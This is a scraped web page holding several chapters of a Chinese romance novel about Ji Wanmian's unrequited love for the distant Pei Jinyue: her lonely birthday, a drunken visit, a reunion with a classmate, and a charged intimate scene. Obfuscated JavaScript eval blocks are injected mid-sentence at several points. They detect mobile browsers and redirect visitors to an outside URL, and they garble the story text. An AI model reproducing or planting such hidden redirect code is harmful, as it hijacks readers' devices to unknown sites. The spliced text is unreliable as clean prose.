季晚眠从未完全意义上感受到暗恋或喜欢的滋味，小时候她也会见到大姐姐大哥哥谈恋爱，长大后会看一些讲爱情的杂志，身旁那些同学也在成年后寻找到了自己的另一半。 但是她一直对这些提不上兴趣，只觉得谈恋爱真耽搁时间，还有就是因为看了很多虐文里的分分合合，所以她一直觉得谈恋爱最后要是结局不好，还容易遍体鳞伤互相伤害。 结果她现在就成了小说的主角，愿意为裴今月花时间，也会为见不到裴今月而难受。 她能清楚认识到——自己起起伏伏的情绪全都是因为裴今月。睁开眼闭上眼全都是裴今月的样子，哪怕是在玩手机时看到与裴今月名字有关的字眼，她都会为之停留几秒。 所以，她非常确信，自己已经爱上裴今月了。 异样的情绪，难以控制的思念，全都产生于对裴今月的爱慕。 于是，在那一天，一向慢性子的季晚眠飞快抓住了裴今月的胳膊。 哪怕隔着一层袖子，季晚眠都觉得害羞得不行。 还记得那时的裴今月并没有很大的反应，只是扬了扬眉，轻轻地问：“嗯？喜欢我？” 四周没有多少同学路过，季晚眠站在台阶下，仰头望着裴今月。 那时的她连呼吸都快忘了，满脑子都是“我怎么就说出来了这可怎么办啊”，嘴巴张开了却又半晌都不知道能说些什么。 “今月——”另一边的同学朝裴今月招招手，应是唤她快些过去。 季晚眠心里一团乱麻，神情更加慌张，但仍然一句话都说不出来。 “季晚眠。”裴今月盯着自己还在被抓着的手臂，唤了一声对面人的名字。 季晚眠立刻清楚裴今月的意思，飞快松开自己的手，默默放在自己的身后，此刻的她羞得脸颊发烫，不用照镜子都知道肯定已经满脸通红，因而完全不敢抬头看一眼面前的人。 “有什么话下次再说吧。”裴今月也没有追问，径直朝方才招手的同学走去。 季晚眠一直垂着头，闷声回了句“嗯”，心跳也慢慢恢复正常，虽然她知道是因为自己没抓住机会，但还是避免不了产生失望的情绪。 难道这次她鼓起勇气才说出口的告白，就要以这样的方式结束了吗？ 那她以后又该怎么面对裴今月？ 她以后是不是不能再喜欢裴今月了？ 季晚眠鼻尖发酸。 委屈的情绪总叫人忍不住哭鼻子。 “季晚眠。” 不远处的裴今月又喊了一声她的名字。 季晚眠疑惑地抬起头，望向裴今月离开的方向，确认自己没有听错。 裴今月也正在望着她，说：“这几天天冷，多穿一点。” 季晚眠愣了愣，回过神后，歪了歪头，轻轻地笑了一声，将刚刚产生的所有委屈都抛开，朝裴今月说：“你也是。” 裴今月点点头，继续往前走了。 慢慢走出了季晚眠的视野里。 那天之后，季晚眠还是像以前那样爱着裴今月，一晃眼，爱了好多个岁月。 有时候她还是很佩服裴今月的，因为这人总是能轻易抓住她的情绪，在她最想放弃的时候，又给她一点点希望，让她觉得只要坚持下去，裴今月就会朝她笑，会回应她的爱意。 过去是这样，现在还是这样。 裴今月真是一点没变。 季晚眠肚子有些饿了，这让她不得不打岔了自己的思绪，哆哆嗦嗦地掀开被子，穿上棉鞋，在睡衣外面再加一件厚衣服。 看了眼时间，都快下午六点了。 她震惊不已，自己居然快睡一天了。 季晚眠洗了个脸让自己清醒些，而后迷茫地坐在沙发上，不知道今晚该吃些什么。 这一顿应该是今天一天的饭了。 总该吃得好点。 她上网查了下菜谱，自信地站起身，挽起袖子，准备为自己做一顿丰盛的晚饭。 走到厨房，打开冰箱门一看。 什么都没有。 季晚眠默默合上了冰箱门，真是睡懵了，怎么都忘了家里压根就没买些菜肉回来放着。 像是初来乍到的人，季晚眠在厨房晃了一圈，寻找有没有什么能吃的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912644|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>找遍了整个厨房，唯一能吃的或许只有那些调料了。 甚至连米都没有。 季晚眠犹豫了一下，寻思着要不要下楼买点菜回来，但是她只是走到阳台上吹了一下冷风，立刻放弃出门的念头。 既然如此，点外卖吧。 距离她下定决心到现在仅仅过了十分钟，季晚眠已经全然不想自己亲身下厨了。 她翻了一圈外卖软件，刚一进去就被推荐了漂漂亮亮的蛋糕，一个个光是看上去就很好吃，只是扫了一眼，季晚眠都咽了咽口水，脑子里已经想象出这蛋糕到自己嘴里是什么感觉了。 各式各样的水果到嘴里全是酸甜，甜甜的奶油入口即化，软软的蛋糕胚吃一口完全不够。 在下单之前，季晚眠恢复了理智，她一个人吃蛋糕应该也吃不完，剩下来的全都浪费了。 她叹了声气，也不知道还能找谁陪自己过这个生日。 兴许是刚刚满脑子都被回忆填满了，现在才缓缓意识到自己又要一个人在这里过生日，难免觉得有些孤单。 以前留在父母身边的时候，都不用她主动提，肯定是一家人热热闹闹聚一起过生日。 后来她去外地上了大学，室友会悄悄给她准备惊喜，晚上围在一起分蛋糕吃。 可是毕业后，她为了留在裴今月身边，一个人跑来这座陌生的城市，已经连着两年没有好好过一个热闹点的生日了。 季晚眠又打开了日历，看着上面的一排字，回想自己敲下时的心情。 那时还在上大学，她陪裴今月过二十一岁生日。看着那么多礼物，季晚眠担心裴今月拿不下，于是，在回去的路上，她主动跟在其旁边，帮大小姐抱了一堆礼物。 裴今月道了声谢，说：“等之后我也陪你过一个生日吧。” 闻言，季晚眠按捺住心里的雀跃后，才敢开口问：“明年吗？” 裴今月想了想，说：“后年吧，明年不一定能见面了。” “好！”季晚眠点头，抿唇，克制住自己都快浮在脸上的笑意。 从那一刻起，她就在盼着裴今月给自己过生日那一天的到来。 她比裴今月大半岁，等到两年后，她就已经二十四岁了。 真好啊，二十四岁还能见到裴今月。 季晚眠也想过，如果担心明年会见不到面，那为什么这一年的生日不行。 但她更宁愿相信，裴今月有自己的原因。 说不定就是想让她们毕业以后还能见面呢？ 想到这一层的季晚眠瞬间开心起来，肯定是因为这样，裴今月才会约好在她二十四岁生日那天一起过生日。 于是，季晚眠点了个蛋糕，心里想着，万一下一秒裴今月就出现在她家的门口了呢？ 她越想越紧张，甚至还跑去换了个好看点的衣服。 蛋糕放在桌上很久。 她静静看着时间。 慢慢地，她甚至都已经开始想，只用等一通裴今月打来的电话就好了。 什么都没有。 就像她的冰箱一样空。 在零点到来之前，季晚眠给自己点上了蜡烛，许了一个愿望—— “裴今月明年能陪我一起过生日。” 蜡烛吹灭。 没有人为她唱生日歌，为她分蛋糕，在现场鼓掌说祝福。 只有她一人的生日。 然而，季晚眠愿望里的那个人，正在高高兴兴地陪着别人一起玩。 碰撞的酒杯发出砰砰声，喧闹沸腾的音乐在房间里环绕，裴今月扬起眉梢，笑得肆意。 裴今月没有在今天去找季晚眠。 更何况，她完全不知道今天是季晚眠的生日。 因为，她已经快忘了那年顺口一说的话。 5. 第 5 章 季晚眠肚子疼。 早上醒来吃完昨晚剩下的蛋糕后，就隐隐约约感觉到有些不大对劲了。 但她也没多管，以为只是小问题，又喝了瓶饮料，而后就更疼了。 她捂着肚子缩在沙发上，难受极了，连倒杯热水喝的力气都没有了。 恰好门铃声被按响。 季晚眠蹙眉，没有立刻去开门。 “季晚眠。” 裴今月的声音在门外响起。 季晚眠眼睛闪了闪，短暂地忘却了疼痛，从沙发上翻起，挣扎着穿上棉鞋，扶着墙跑去开了门。 一打开门，裴今月一声没吭，就直接倒在了季晚眠的怀里。 季晚眠一怔，顾不上多想，双手环抱着裴今月，连忙问：“这是怎么了？” 裴今月还是一句没说。 季晚眠俯下身，嗅到了一股酒味，她抿了抿唇，不用继续追问就已经知道了原因，费力将裴今月抱进沙发上后，她转身去关门。 裴今月却拉住了她的手腕，轻声呢喃：“别走……” 季晚眠心尖一颤。 裴今月的力道不大，她可以轻易挣脱，内心却想继续感受其手掌的温度。 她突然有些怪外面的寒风，怎么将裴今月的手吹得凉凉的。 裴今月眼睛都没睁开，但嘴仍然没停：“年年……” 好了，现在不止裴今月手凉了，季晚眠的心也凉了。 季晚眠垂眸看了眼裴今月的手，轻轻地将自己的手抽出来，走到门口关好门。 刚关上门，季晚眠的腹部又传来一阵阵强烈的痛感，这让她有些没力气站着，只能蹲在玄关处缓一下。 裴今月躺在沙发上，没睁开眼，说：“能麻烦你给我倒一杯热水吗？” “好。”季晚眠虚弱地应了一声，费好大力气才摇摇晃晃站起身，结果还没走两步，一个踉跄又摔在了地上。 “砰——” 面前一声响动将沙发上的裴今月吓了一跳，神志也稍微清醒了些。 她睁开眼，朝声源的方向看去，发现季晚眠坐在地上，脸色苍白。 “怎么了？”裴今月往前走了两步，将季晚眠从地上扶了起来，看着面前人眼眶里似有泪珠在打转，鼻子红红的，顺口问了句：“摔疼了吗？” “疼……不不，不疼。”季晚眠赶忙挥了挥手，偏过头，不敢对上裴今月的视线。 对于这种事情，裴今月总会稍微严肃些：“说实话，因为你脸色不太好。” 季晚眠犹豫了一会，难得听见裴今月这么认真的语气，还是决定说出来：“我肚子有些疼。” 裴今月伸出手，覆在对面人的肚子上，歪头，让其被迫与自己对视，说：“是这里痛吗？” 季晚眠紧紧咬着下唇，生怕自己一个不小心就尖叫出声，虽然痛感尚未完全消失，但她还感觉到一阵不适，尤其是裴今月手放的地方下，一直都觉得非常烫，像是烫穿了她的皮肤，嵌入了她的骨血里。 “不……不痛了……”季晚眠支支吾吾说着，主动朝后退了两步，“我……我先去……倒水……” 她连忙转过身，心跳快得要让她喘不上气，要是再让裴今月那样对她，可能下一秒她就要克制不住自己了。 “行。”裴今月也没一直缠着季晚眠问，而是又躺回了沙发上，揉了揉太阳穴。 也不知是不是心情变了还是确实好了，季晚眠的腹部也没有那么强烈的痛感了，接了两杯热水后，一杯先放桌上，先将另一杯递给裴今月。 裴今月直接拿了过来，倒了声谢，就往嘴里喝。 季晚眠看着面前人妆容掉了一些，眼线被蹭掉，晕开在眼角，况且裴今月一头卷发也有些小小的凌乱，再加上这人刚来家门口还未散去的一身酒气，她推测——裴今月应该是喝了一夜，一晚上没回家。 于是，季晚眠俯下身，望着裴今月，轻声问：“你昨晚去哪了呀？” 刚咽下一口水的裴今月放下杯子，冷冷地看了一眼季晚眠，语气愈发冷漠：“我晚上去哪里，和你有什么关系吗？” 季晚眠没想到自己的一句关心居然惹得裴今月不高兴，她心慌意乱，愣了好久都没缓过神。 直到看见裴今月站起身，要朝屋外走去时，季晚眠才连忙出声解释说：“我只是想关心一下你，没有别的意思。” 裴今月脚步一顿，但没有回头，冷声说：“季晚眠，你应该清楚我们的关系。” 闻言，季晚眠苦笑两声，颤声问：“裴大小姐，那你能不能说清楚，我们的关系究竟是什么？你每次都想来就来，想走就走。” 裴今月这才回了头，沉默了一会，盯着情绪激动的季晚眠，淡淡说了句：“你冷静些。” “行，我冷静。”季晚眠长吁一口气，稍微让自己冷静一点后，接着说，“我还有最后一个问题，你是不是已经忘了我的生日？” 裴今月眨了眨眼睛，脑海里好像隐约浮现出此前二人的对话，回答说：“祝你生日快乐。” 季晚眠压着心里的难受，说：“我的生日是昨天。” 裴今月“哦”了一声，又说：“祝你昨天生日快乐。” 季晚眠一时间有些无语。 委屈、愤怒、失望、心酸等各种情绪堆积在一起，就因为裴今月一句轻飘飘的“祝你昨天生日快乐”全都变成了无语。 “算了，你回去吧。”季晚眠实在有些累了，直接坐在沙发上，没心情再跟裴今月接着说。 裴今月却突然朝闷闷不乐的她走来了。 “给你。” 季晚眠一抬头，发现是一个非常漂亮的银色手链。她有注意过这条手链，是裴今月最常戴在手上的那条。 她有些疑惑地望向裴今月。 裴今月回应季晚眠的目光，解释：“生日礼物。” 季晚眠震惊地张开口想说什么，但半晌只发出一个声：“啊？” 裴今月没说话，只是垂下眸子，静静地看着她。 季晚眠不动声色地掐了掐自己掌心的肉，—— 裴今月送她礼物了！ 而且这礼物还是裴今月常常戴在自己手上的手链！ 她该怎么办。 该怎么用一个礼貌的表情，既要表现出她的开心与感激，又不能将她的错愕惊讶激动欢喜雀跃想要尖叫全都流露出来。 但裴今月压根没给她演的时间，而是晃了晃手上的东西，问：“不想要？” “想要！”季晚眠不敢犹豫一秒，生怕自己要是回复晚了，裴今月就不给她礼物了。 “收着吧。”裴今月将手链放到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912645|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季晚眠手上，收回手，理了理自己的衣领与头发，转过身，朝门外走去，“我走了。” “你不休息一会吗？”季晚眠喊住裴今月说，“那你来这里做什么？” 裴今月头也不回地拉开门：“算了，我想回去了。” 季晚眠握着手链，连忙站起身，跟上裴今月的脚步，扬声问：“是我刚刚说的话惹你生气了吗？” 裴今月走了出去，在关门前，望着季晚眠说：“是，但你不用多想。” “对不起，我只是……”季晚眠话还没说完，却听到裴今月打岔了她的话。 “季晚眠，不要动不动就道歉。”裴今月说完这句话，就关上了门。 门发出的一声轻响环绕在季晚眠的耳边，她还站在客厅，握着手链，看向那扇被裴今月关紧的门。 也不知道在原地站了好久，季晚眠才长长地叹了声气，又转了个身，坐在沙发上。 她仰起头，也不知道是在看天花板还是在出神，只知道现在她的脑袋一片空白，什么都该想，却又什么都不能想。 其实季晚眠都猜到裴今月来她这里，很可能是想做些那样的事情。 因为这人也不是第一次在醉后来找她了。 但季晚眠心里猜测，不知道到底是她那句话彻底惹怒了裴今月，还是看到她肚子疼，裴今月才直接走了。 啊—— 季晚眠举起自己手里闪着光的手链，在眼前不停摇晃，大概是想要转移注意力，让自己从复杂的情绪里抽离出来。 可她又该如何将裴今月彻底从自己的脑海里剥离。因为她实在太爱，爱得快让她忘了自己是谁，只知道她见不得裴今月任何一个失落的神情，光是看一眼就会让她心疼不已。 因此，就算裴今月从未明确过她们的关系，她依然愿意守在其左右。 就像以前那样，只要是裴今月开口，季晚眠都不会拒绝。 有人戏谑她说：“季晚眠，你是不是不敢拒绝这位大小姐啊？” 那时季晚眠只是笑了笑，怎么会是“不敢”。 是爱、是舍不得、是心疼。 可是在过去与现在来回对比的此时此刻，季晚眠竟生出些犹豫。 闪亮的手链就这么拿在手上，她本该高兴地笑出声，说不定还要兴高采烈地蹦跶两圈。 在认清自己爱裴今月之前，季晚眠确实不大清楚爱上别人是什么感受。 她目不转睛地盯着手链，像是又看见了刚离开的裴今月。 裴大小姐的容貌身姿确实出挑，哪怕妆都快花了，仍然能看见其皮相有多好。 季晚眠不得不承认，她也确实同旁人一样，悄悄羡慕裴今月的美貌。 但她压根谈不上嫉妒，更多的还是欣赏。 因为比起裴今月的外表，那一天站出来帮季晚眠出头的那刻，更加让她记忆尤深。 她很清楚，自己就是在那天爱上了裴今月。 因为那一次心动，她为此停留付出了多年。 但是—— 爱一个人真的是这样吗？ 季晚眠想不清楚。 既然一时半会也想不通，那便想去完成别的事情。 因此，季晚眠将手链收好，从沙发上站起，坐到书桌前，去完成一件她想了很多年的事情。 6. 第 6 章 窗外下起了小雨，滴滴答答声里又过了好几天，时间过得太快，一晃眼就快到了这一年的末尾。 季晚眠坐在书桌前，静静地听雨声，在疲倦时常常会望向窗边，窗户上的玻璃全都被雨水覆盖，隔着这层玻璃，她看不清外面的世界。 要是下场雪就好了。 南方的冬天很难见到雪，但季晚眠又实在想看一场雪。看那一片片雪花在天空旋转起舞，只用伸出手，就有雪乖乖地掉在掌心。 她印象深刻的一次雪景还是在自己从小生长的城市了，那场很漂亮，大树都穿上可爱的白袄子，整个世界都在与积雪一同玩耍。 但隔得太远，具体的记忆就像起雾的玻璃一样，什么都记不清。 今年老家下雪了吗？ 所以她该回家了吗？ 季晚眠将目光收了回来，却还是不能避免在这场雨里想起那场雪。 有时候觉得下一场雨就很好了，现在又在想什么时候能看到漫天飞雪，那要是真正见到雪了，她是不是就想要得更多了？ 那她又该何时能满足。 季晚眠将指尖触摸在画上，叹了声气。 画里是她与裴今月站在一起笑着比耶的样子。 认识这么多年，她们没有一张合照。 所以季晚眠只能自己画下与裴今月在一起的样子。 她尽可能用画笔还原裴今月的五官，但在构思表情时，脑海里却怎么都想不出裴大小姐因高兴而笑起来时的模样。 她也是在那刻猛地意识到，裴今月好像从未对她发自内心地笑过。 大多时候见到的裴今月总是面无表情，看不出来什么情绪。她偶尔能见到裴今月生气，也曾在过去不小心撞见裴今月的伤心。 但偏偏，没有见到裴今月朝她笑一笑。 不是礼貌的、客气的。 而是真心的。 所以季晚眠只能不停幻想。 想象裴今月与她合影时，微微上扬的嘴角和眉梢，想来定是明媚夺目的。 要是真的能跟裴今月合影就好了。 不对。 季晚眠摇了摇头。 合影实在太过奢侈。 她垂眸，望向画上的人。 要是裴今月能对她笑一下就好了。 季晚眠将脚放在凳子上，抱着自己的小腿，将下巴放在膝盖上，心里一团乱。 说实话，她知道自己的内心并非只是想看一场雪。 雨慢慢停了。 肚子里的饥饿感让季晚眠暂且忘却那些乱七八糟的心绪，她伸了个懒腰，看了一眼时间，都快晚上七点了。 冬天的夜晚来得太快，仿佛刚醒来干了点活，就直接穿越到了该吃晚饭的时候。 季晚眠在吃外卖与自己做饭吃里想了很久，于是决定出去买饭吃。 坐了一天，她腰酸背痛，需要出门活动一下筋骨，顺路散散步，换换心情，还能去便利店囤一些零食。 虽说她的工作看上去在家自由支配时间，实在跟普通打工人一样，被时间支配罢了。 上班时她软绵绵没力气，一想到出去吃饭散步买东西就生出不少干劲，突然觉得自己恢复了不少气血。果然只要离开书桌电脑键盘鼠标笔，她又可以年轻好几岁。 说动就动。 季晚眠站起身，随意套上围巾与帽子出门，压根没有打扮自己的念头。 又遇不到想见到的那个人。 她脑海里又闪过裴今月的身影。 好不容易才调理好的情绪再次崩塌，雨会停，天会晴，可她为什么一直走不出来。 走在街上的每一步，季晚眠都不太专心。 来来往往的行人无数，那些人从她身旁擦肩而过的瞬间，她都会恍惚几秒，总觉得自己心里的人会突然冒出来，给她一个惊喜。 悲伤的情绪在心里翻涌，可要是再不吃饭，她连伤心的力气都没有了。 不知不觉已经走到小吃街，季晚眠被手抓饼的味道所吸引，嗅着香就飘过去了。 吃饱了再去想裴今月。 到了手抓饼摊前，季晚眠隔着人群，踮起脚尖看前面到底排了多少人。 “季晚眠？” 怎么那么多人啊，季晚眠快饿晕了，连耳边的声音都自动忽略了。 那人重复了一遍：“季晚眠。” 素饼五块，加蛋添两元，季晚眠将手放在下巴上，寻思着要不要再加个蛋。 身后的人轻咳几声，扬了扬声：“季晚眠。” 加个蛋吧，好久没吃蛋了，看着挺不错的。季晚眠下定决心吃这个后，打算往人群里挤挤，到摊主面前说声自己要什么。 结果，有人扯住了她的棉袄，让她被迫停住脚步。 饿得肚子都不停唱歌的季晚眠扭过头，望向扯着自己衣服的人。 对视的那刻，她愣在原地。 “季晚眠，还认识我吗？”面前人短发齐耳，刘海盖住眉毛，穿着浅粉色羽绒服，正朝季晚眠浅笑。 “认识啊，你是……”季晚眠蹭了蹭鼻尖，回应了一个礼貌地微笑。 然而，她微笑背后的心理活动是—— 这人是谁？有点面熟，名字叫什么来着！ 脑子快转啊！ 天天上班创作又熬大夜再加上此时饿得头晕眼花，季晚眠的脑子都快停止运作了。 面前人依然笑着，眼睛弯成了月牙，像是在等待季晚眠的回应。 季晚眠的内心紧张得不行，满脑子都在加速运作，这人是大学室友吗？不对啊，长得也不像啊，那还能是谁…… 算了，季晚眠放弃挣扎，破罐子破摔吧。 所以，她张口就开始胡说八道：“我想起来了，你是我朋友！” “我就知道你可能已经把我忘了。”那人腼腆地笑了笑，抬手将头发别至耳后，自己主动介绍说：“我是陆渔呀，我们之前是高中同学，前后桌。” “啊，是你啊！”季晚眠一拍脑袋，尘封多年的记忆慢慢浮现在眼前。 想起陆渔方才一脸期待的神情，她有些愧疚地垂头说：“哎呀，小渔，真不好意思，这两天脑子不好使，所以一时没想起来你叫什么。” “没事的，能再次遇见你，我就很高兴了，晚眠。”陆渔轻轻拍了拍季晚眠的肩膀，“是不是最近太忙了？” “其实也还好……”季晚眠话还没说完，又想起自己几乎天天熬大夜，甚至还会通宵，话锋一转，接着说：“不，是真辛苦。” 陆渔柔声说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912646|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你肯定是很厉害才会这么累的，但还是要注意休息，你看你比高中的时候还瘦了些。” “好。”季晚眠点头答应下来后，还在因为在这座城市见到熟悉的人而感到震惊，于是有些忍不住好奇问：“你为什么在这？你也是……” 来追喜欢的人吗？ 季晚眠差点说出口后面的话，毕竟她就是为这个而来的。 “我毕业后来这工作两年，挣了些钱后就盘下一家小卖部，就开在附近的。”陆渔朝另一边指了指，应该是自己店铺的方向。 盘下一家店。 陆渔究竟是怎么做到一脸天真单纯的神情，说出这么有力量的一句话。 季晚眠目瞪口呆，庆幸自己没有说出刚刚那句话。 原来别人都在朝前走，就她一个人停在原地，甚至还不停为过去而伤感。 “你真厉害啊。”季晚眠竖起大拇指，惊讶得连饿感都快消失了。 “哪有，我只是想告诉你我的店开在哪，你之后可以来找我玩。”陆渔看了眼季晚眠身后的招牌，“你在买手抓饼呀？” 季晚眠说：“是的，我的晚饭。” 陆渔“啊”了一声，指着旁边的火锅店说：“我们好不容易碰到，要不一起去吃一顿？” “也行。”季晚眠点头，因为陆渔指着的那家火锅店，她已经馋了很久了。 其实很早之前季晚眠就想去这家店吃一顿了，但她清楚裴今月完全不喜欢吃，因此她也埋在心里，没提这件事。 但今天难得找到个能一起吃火锅的小伙伴，她一定要去尝尝这家店的味道。 就在她们快要走到火锅店门口时，身后又有人唤了一声季晚眠的名字。 很轻。 轻得像一片雪掉在地上。 但这一次，声音传来时，季晚眠听得清清楚楚。她停下脚步，浑身酥麻。 果然，季晚眠一回头。 裴今月已经站在了她的身后。 路灯的光撒在裴今月身上，她正在静静地看着季晚眠，穿着一身米白色大衣，将酒红色头发盘了上去，只留下点点碎发，随意地搭在脸侧，遮去那些锋芒后，看起来温和了不少。 季晚眠愣了愣，尚未完全从裴今月突然出现在自己面前的诧异里走出，只是立在原地，没说什么。 “你们认识吗？”陆渔先开了口，扯了扯季晚眠的袖子，低声说。 季晚眠回过神，偏头看向陆渔，解释说：“啊，认识的，我们是……” 倏地，她顿了顿，抿唇思索，不知该如何解释她与裴今月的关系。 恋人？ 说实话，她脑海里闪过这个词，并且很想说出来。 她们明明将所有恋人才会做的事情做完了，那为什么不能这么称呼。 但话到嘴边，季晚眠还是犹豫了，她用余光观察着裴今月的神情。 大抵是感受到了季晚眠的目光，裴今月笑了笑，回答：“大学同学，碰到过几次，算得上是朋友。” 季晚眠抿住的唇悄悄松开了，像是松了口气，她笑着望向裴今月，应了声：“是啊。” 然而，在笑容下，她的心里有个地方被撕开了一道口子，裂缝里滑落出碎片。 就像从天降落的雪。 7. 第 7 章 陆渔“哦”了一声，没听出她们二人间的端倪，只是指了指身后的火锅店，说：“我是陆渔，晚眠的高中同学，既然都碰到了，那要不要一起去吃火锅……” 她脑子转了一圈，不知道该如何称呼面前的女人，半晌说出一个“晚眠的朋友”。 面前人依然礼貌地笑着，回答：“裴今月。” 季晚眠垂下头，不再看向裴今月，不动声色地在心里吐槽：在别人面前就这么温和了。 但半天没听到陆渔的回应，季晚眠向旁边的人投向疑惑的目光，这才发现陆渔有些惊讶的神情。 “小渔，想什么呢？”季晚眠用指尖戳了两下陆渔的羽绒服。 裴今月轻咳两声。 季晚眠乖乖放下手。 陆渔回过神，有些不好意思地埋下头，脸颊红了一片，解释说：“啊，没什么，之前有个认识的人也姓裴。” “没事，这世界重名的人可多了。”季晚眠安慰说。 “是、是的。”陆渔连忙应了下来，紧张得连说话都支支吾吾的。 季晚眠见陆渔的神情，也觉得有些不对劲，但她也没多想，因为裴今月突如其来的出现已经够让她错愕的了。 大抵是察觉到自己的行为实在奇怪，陆渔调整好情绪，语气也慢慢恢复正常，视线在季晚眠与裴今月之间跳来跳去，说：“对不起啊，那我们要一起吃火锅吗？” 裴今月没说话，而是看向季晚眠。 感受到裴今月的目光后，季晚眠已经猜到自己该做出什么回复才对。 她捏住自己的衣角，张开口前先将满心期待咽了回去，看着陆渔，挤出一个笑容，说：“不好意思啊，我们不去了。” 陆渔也没让自己表现出失望，而是笑着挥手说：“没事没事，下次有机会再去吃。” 季晚眠松开衣角，在心里叹了口气，闷声回答：“好。” 裴今月像是得到了满意的回答，嘴角轻轻上扬，手放在大衣的兜里，望着季晚眠说：“那我们回去吧。” 季晚眠点了点头，在与陆渔告别时，遥遥地看了一眼其身后的火锅店。 她跟在裴今月的身后。 一时间也不清楚，自己想要的究竟是什么。 但刚刚的她，确确实实只想吃一次火锅。 为什么就这么点心愿，裴今月也不会满足她。 关上门的刹那，合门声像是一根导火索，“砰”的一下就将季晚眠忍了一路的所有情绪都爆发出来。 “你为什么突然来了？”季晚眠换好鞋，立在玄关处，愠怒地看着裴今月。 而面前的女人，脱下身上的大衣，拿掉头发上的发夹，如瀑的秀发哗一下就掉落在她的后背。 裴今月自然地坐在沙发上，将大衣放置一旁，倚着身后的靠背，偏头望向季晚眠，语气漫不经心：“不想见我？” 就这么简简单单四个字，像是蚂蚁，密密麻麻地爬在季晚眠的心上。 真烦。 真让人难受。 季晚眠嘴唇都快要破皮了，眼泪还是不争气得大颗大颗掉了下来，她只好抬手捂着，不想让裴今月看见自己的狼狈。 “这是怎么了？”裴今月慢慢起身，向季晚眠走了过来，凑到其面前轻声问。 “我……”季晚眠也不知道自己乱七八糟的情绪是从何而来，只觉得自己委屈极了，但那些想对面前人说的话到了嘴边又一个字都说不出，最后她只能说出：““我想吃火锅……” 裴今月扬了扬眉，不解：“想吃火锅，所以气哭了？” “哎呀，我跟你说不明白。”季晚眠心里恼，本能地将捂着眼睛的手甩了下来。 结果，不偏不倚，扇到了裴今月的脸上。 季晚眠连哭泣都止住了，只听面前人传来倒吸凉气声。 泪眼朦胧间，她看见裴今月的手放在自己刚刚打到的地方。 “疼吗？”季晚眠话里还有哭腔，连眼泪都没擦干净，就已经抬手去碰裴今月的脸颊。 可手还没落下，裴今月已经凑了上来。 “对不起……唔……” 刚从外面回来，浑身上下还透着寒意，但此刻，唇间一片温热。 季晚眠瞪大双眼，没想到裴今月会突然吻上来，本能地将其推开，但又怕其撞到墙，连忙用自己的手护住面前人的后背。 裴今月往后退了两步，但眼睛始终没从季晚眠的脸上离开，直勾勾的，毫不收敛的，仿佛在准备随时扑上来。 “你怎么都不提前跟我说一声？”季晚眠眼泪又涌了出来，声音都有些嘶哑。 “你不愿意吗？”裴今月微微俯身，抬起手，用指尖轻轻地、慢慢地滑过季晚眠的脸颊，一直往下，从下巴来到脖颈，“为什么要哭？” 季晚眠咽了咽口水，不自觉地开始发颤，尤其是感受到裴今月的手碰到自己脸时，像是小虫子在心上爬。 好难受。 难受到季晚眠都快忘记了哭泣。 她们离得很近很近，近到连呼吸都在交缠。 季晚眠张开口，有很多想说的话，她想问清楚“年年”究竟是谁？为什么在她生日那天没有来？已经忘记她的生日了吗？所以之前那些承诺全都是骗她的吗…… 偏偏不敢问裴今月是否爱自己。 但最后，她垂下头，喉里哽咽，还是一句话都没能说出来。 裴今月又拥了上来，季晚眠没有躲，任由面前人从自己下巴往上亲，绕过嘴唇，用舌尖触碰那滴摇摇欲坠的眼泪。 大小姐像是不满足一样，又将手钻进衣服里，轻轻掐了一下季晚眠的腰。 季晚眠闷哼一声。 裴今月嘴角微微上扬，一点点向季晚眠贴近，从墙边移到了沙发上。 季晚眠这次压根没有想着克制自己，痛时会发出声音，才收回去的眼泪又被疼掉下来。 忽而，季晚眠在与之前感受不同的过程里，意识到——今天裴今月的情绪不对。 “你……心情……不好？”季晚眠握着裴今月的肩，仰头，边喘气边问。 裴今月点头：“嗯。” “你……怎么了？”季晚眠含着泪的双眼，担心地看着裴今月。 “没什么。”裴今月并不打算解释，“继续。” “不行。”季晚眠往沙发另一侧挪了挪，将自己滑落肩头的衣服往上扯，虽然还在抽泣，但神情严肃了不少，“裴今月，能不能告诉我？我想知道你为什么心情不好，想知道谁让你悲伤，想知道我能不能帮上你……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 